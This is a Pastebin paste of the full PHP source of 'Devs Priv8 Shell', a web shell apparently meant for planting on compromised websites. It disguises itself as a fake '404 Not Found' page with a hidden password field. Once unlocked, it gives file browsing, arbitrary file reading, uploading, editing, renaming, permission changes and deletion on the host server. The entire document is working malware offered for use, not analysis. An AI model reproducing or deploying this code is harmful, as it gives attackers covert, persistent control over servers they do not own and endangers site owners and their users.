Advertisement
devsdotid

Devs Priv8 Shell

Feb 23rd, 2016
364
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.63 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4.  
  5. $auth_pass = "655b91faa453da4dc4aeaf135508b373"; // Devs
  6. if(get_magic_quotes_gpc()) {
  7. function VEstripslashes($array) { return is_array($array) ? array_map('VEstripslashes', $array) : stripslashes($array); }
  8. $_POST = VEstripslashes($_POST);
  9. $_COOKIE = VEstripslashes($_COOKIE); }
  10.  
  11.  
  12. function Login() {
  13. die("
  14. <html><head><title>404 Not Found</title></head>
  15. <style>
  16. input { margin:0;background-color:#fff;border:1px solid #fff; }
  17. </style>
  18. <body>
  19. <h1>Not Found</h1>
  20. <p>The requested URL was not found on this server.</p><hr>
  21. <form method=post>
  22. <input type=password name=pass></form></body></html>");
  23. }
  24.  
  25. function VEsetcookie($k, $v) {
  26. $_COOKIE[$k] = $v;
  27. setcookie($k, $v);
  28. }
  29.  
  30. if(!empty($auth_pass)) {
  31. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  32. VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  33.  
  34. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  35. Login();
  36. }
  37.  
  38.  
  39.  
  40. echo '<!DOCTYPE HTML>
  41. <HTML>
  42. <HEAD>
  43. <link href="" rel="stylesheet" type="text/css">
  44.  
  45. <title>.:: Devs Priv8 Shell ::.</title>
  46.  
  47. <style>
  48. body{
  49. font-family: "Arial", cursive;
  50. background-color: #F0F1F2;
  51. text-shadow:0px 0px 3px #FFA600;
  52. }
  53. #content tr:hover{
  54. background-color: #2251DF;
  55. }
  56. #content .first{
  57. background-color: #0400FF;
  58. }
  59. #content .first:hover{
  60. background-color: #2251DF;
  61. text-shadow:0px 0px 1px #2251DF;
  62. }
  63. table{
  64. border: 3px #2251DF solid;
  65. }
  66. H1{
  67. font-family: "Impact", cursive;
  68. }
  69. a{
  70. color: #FFA600;
  71. text-decoration: none;
  72. }
  73. a:hover{
  74. color: #F0F1F2;
  75. text-shadow:0px 0px 10px #0400FF;
  76. }
  77. input,select,textarea{
  78. border: 3px #2251DF solid;
  79. -moz-border-radius: 5px;
  80. -webkit-border-radius:5px;
  81. border-radius:5px;
  82. }
  83. </style>
  84. </HEAD>
  85. <BODY>
  86. <bg color="red">
  87. <H1><center><font color="#F0F1F2">. : : <font color="#F0F1F2"> Devs Priv8 Shell </font> : : .</center></H1>
  88. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  89. <tr><td>Current Path : ';
  90. if(isset($_GET['path'])){
  91. $path = $_GET['path'];
  92. }else{
  93. $path = getcwd();
  94. }
  95. $path = str_replace('\\','/',$path);
  96. $paths = explode('/',$path);
  97.  
  98. foreach($paths as $id=>$pat){
  99. if($pat == '' && $id == 0){
  100. $a = true;
  101. echo '<a href="?path=/">/</a>';
  102. continue;
  103. }
  104. if($pat == '') continue;
  105. echo '<a href="?path=';
  106. for($i=0;$i<=$id;$i++){
  107. echo "$paths[$i]";
  108. if($i != $id) echo "/";
  109. }
  110. echo '">'.$pat.'</a>/';
  111. }
  112. echo '</td></tr><tr><td>';
  113. if(isset($_FILES['file'])){
  114. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  115. echo '<font color="#2251DF">Sukses!</font><br />';
  116. }else{
  117. echo '<font color="red">Gagal!</font><br />';
  118. }
  119. }
  120. echo '<form enctype="multipart/form-data" method="POST"><font color="#2251DF">
  121. Upload File<input type="file" name="file" />
  122. <input type="submit" value="Gass!!" />
  123. </form>
  124. </td></tr>';
  125. if(isset($_GET['filesrc'])){
  126. echo "<tr><td>Current File : ";
  127. echo $_GET['filesrc'];
  128. echo '</tr></td></table><br />';
  129. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  130. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  131. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  132. if($_POST['opt'] == 'chmod'){
  133. if(isset($_POST['perm'])){
  134. if(chmod($_POST['path'],$_POST['perm'])){
  135. echo '<font color="#FFA600">Change Permission Selesai</font><br />';
  136. }else{
  137. echo '<font color="#880202">Change Permission Gagal</font><br />';
  138. }
  139. }
  140. echo '<form method="POST">
  141. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  142. <input type="hidden" name="path" value="'.$_POST['path'].'">
  143. <input type="hidden" name="opt" value="chmod">
  144. <input type="submit" value="Go" />
  145. </form>';
  146. }elseif($_POST['opt'] == 'rename'){
  147. if(isset($_POST['newname'])){
  148. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  149. echo '<font color="#2251DF">Ganti Nama Selesai!</font><br />';
  150. }else{
  151. echo '<font color="red">Ganti Nama Gagal!</font><br />';
  152. }
  153. $_POST['name'] = $_POST['newname'];
  154. }
  155. echo '<form method="POST">
  156. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  157. <input type="hidden" name="path" value="'.$_POST['path'].'">
  158. <input type="hidden" name="opt" value="rename">
  159. <input type="submit" value="Go" />
  160. </form>';
  161. }elseif($_POST['opt'] == 'edit'){
  162. if(isset($_POST['src'])){
  163. $fp = fopen($_POST['path'],'w');
  164. if(fwrite($fp,$_POST['src'])){
  165. echo '<font color="#2251DF">Edit File Selesai!</font><br />';
  166. }else{
  167. echo '<font color="#880202">Edit File Gagal!</font><br />';
  168. }
  169. fclose($fp);
  170. }
  171. echo '<form method="POST">
  172. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  173. <input type="hidden" name="path" value="'.$_POST['path'].'">
  174. <input type="hidden" name="opt" value="edit">
  175. <input type="submit" value="Go" />
  176. </form>';
  177. }
  178. echo '</center>';
  179. }else{
  180. echo '</table><br /><center>';
  181. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  182. if($_POST['type'] == 'dir'){
  183. if(rmdir($_POST['path'])){
  184. echo '<font color="#2251DF">Delete Dir Selesai</font><br />';
  185. }else{
  186. echo '<font color="#880202">Delete Dir Gagal</font><br />';
  187. }
  188. }elseif($_POST['type'] == 'file'){
  189. if(unlink($_POST['path'])){
  190. echo '<font color="#2251DF">Berhasil Menghapus File</font><br />';
  191. }else{
  192. echo '<font color="#880202">Gagal Menghapus File</font><br />';
  193. }
  194. }
  195. }
  196. echo '</center>';
  197. $scandir = scandir($path);
  198. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  199. <tr class="first">
  200. <td><center>Name</center></td>
  201. <td><center>Size</center></td>
  202. <td><center>Permissions</center></td>
  203. <td><center>Options</center></td>
  204. </tr>';
  205.  
  206. foreach($scandir as $dir){
  207. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  208. echo "<tr>
  209. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  210. <td><center>--</center></td>
  211. <td><center>";
  212. if(is_writable("$path/$dir")) echo '<font color="#FFA600">';
  213. elseif(!is_readable("$path/$dir")) echo '<font color="#880202">';
  214. echo perms("$path/$dir");
  215. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  216.  
  217. echo "</center></td>
  218. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  219. <select name=\"opt\">
  220. <option value=\"\"></option>
  221. <option value=\"delete\">Hapus</option>
  222. <option value=\"chmod\">Chmod</option>
  223. <option value=\"rename\">Rename</option>
  224. </select>
  225. <input type=\"hidden\" name=\"type\" value=\"dir\">
  226. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  227. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  228. <input type=\"submit\" value=\">\" />
  229. </form></center></td>
  230. </tr>";
  231. }
  232. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  233. foreach($scandir as $file){
  234. if(!is_file("$path/$file")) continue;
  235. $size = filesize("$path/$file")/1024;
  236. $size = round($size,3);
  237. if($size >= 1024){
  238. $size = round($size/1024,2).' MB';
  239. }else{
  240. $size = $size.' KB';
  241. }
  242.  
  243. echo "<tr>
  244. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  245. <td><center>".$size."</center></td>
  246. <td><center>";
  247. if(is_writable("$path/$file")) echo '<font color="#FFA600">';
  248. elseif(!is_readable("$path/$file")) echo '<font color="#880202">';
  249. echo perms("$path/$file");
  250. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  251. echo "</center></td>
  252. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  253. <select name=\"opt\">
  254. <option value=\"\"></option>
  255. <option value=\"delete\">Hapus</option>
  256. <option value=\"chmod\">Chmod</option>
  257. <option value=\"rename\">Rename</option>
  258. <option value=\"edit\">Edit</option>
  259. </select>
  260. <input type=\"hidden\" name=\"type\" value=\"file\">
  261. <input type=\"hidden\" name=\"name\" value=\"$file\">
  262. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  263. <input type=\"submit\" value=\">\" />
  264. </form></center></td>
  265. </tr>";
  266. }
  267. echo '</table>
  268. </div>';
  269. }
  270. echo '<br /><font color="#2251DF">Devs Priv8 Shell Recodded By <font color="#FFA600">Devs Ganteng</a> <a href="www.facebook.com/detective0203" target="_blank"><font color="#FFA600"></a></font>
  271. </BODY>
  272. </HTML>';
  273. function perms($file){
  274. $perms = fileperms($file);
  275.  
  276. if (($perms & 0xC000) == 0xC000) {
  277. // Socket
  278. $info = 's';
  279. } elseif (($perms & 0xA000) == 0xA000) {
  280. // Symbolic Link
  281. $info = 'l';
  282. } elseif (($perms & 0x8000) == 0x8000) {
  283. // Regular
  284. $info = '-';
  285. } elseif (($perms & 0x6000) == 0x6000) {
  286. // Block special
  287. $info = 'b';
  288. } elseif (($perms & 0x4000) == 0x4000) {
  289. // Directory
  290. $info = 'd';
  291. } elseif (($perms & 0x2000) == 0x2000) {
  292. // Character special
  293. $info = 'c';
  294. } elseif (($perms & 0x1000) == 0x1000) {
  295. // FIFO pipe
  296. $info = 'p';
  297. } else {
  298. // Unknown
  299. $info = 'u';
  300. }
  301.  
  302. // Owner
  303. $info .= (($perms & 0x0100) ? 'r' : '-');
  304. $info .= (($perms & 0x0080) ? 'w' : '-');
  305. $info .= (($perms & 0x0040) ?
  306. (($perms & 0x0800) ? 's' : 'x' ) :
  307. (($perms & 0x0800) ? 'S' : '-'));
  308.  
  309. // Group
  310. $info .= (($perms & 0x0020) ? 'r' : '-');
  311. $info .= (($perms & 0x0010) ? 'w' : '-');
  312. $info .= (($perms & 0x0008) ?
  313. (($perms & 0x0400) ? 's' : 'x' ) :
  314. (($perms & 0x0400) ? 'S' : '-'));
  315.  
  316. // World
  317. $info .= (($perms & 0x0004) ? 'r' : '-');
  318. $info .= (($perms & 0x0002) ? 'w' : '-');
  319. $info .= (($perms & 0x0001) ?
  320. (($perms & 0x0200) ? 't' : 'x' ) :
  321. (($perms & 0x0200) ? 'T' : '-'));
  322.  
  323. return $info;
  324. }
  325. ?>
  326.  
  327.  
  328. <!-- --------Cursor--------- -->
  329. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement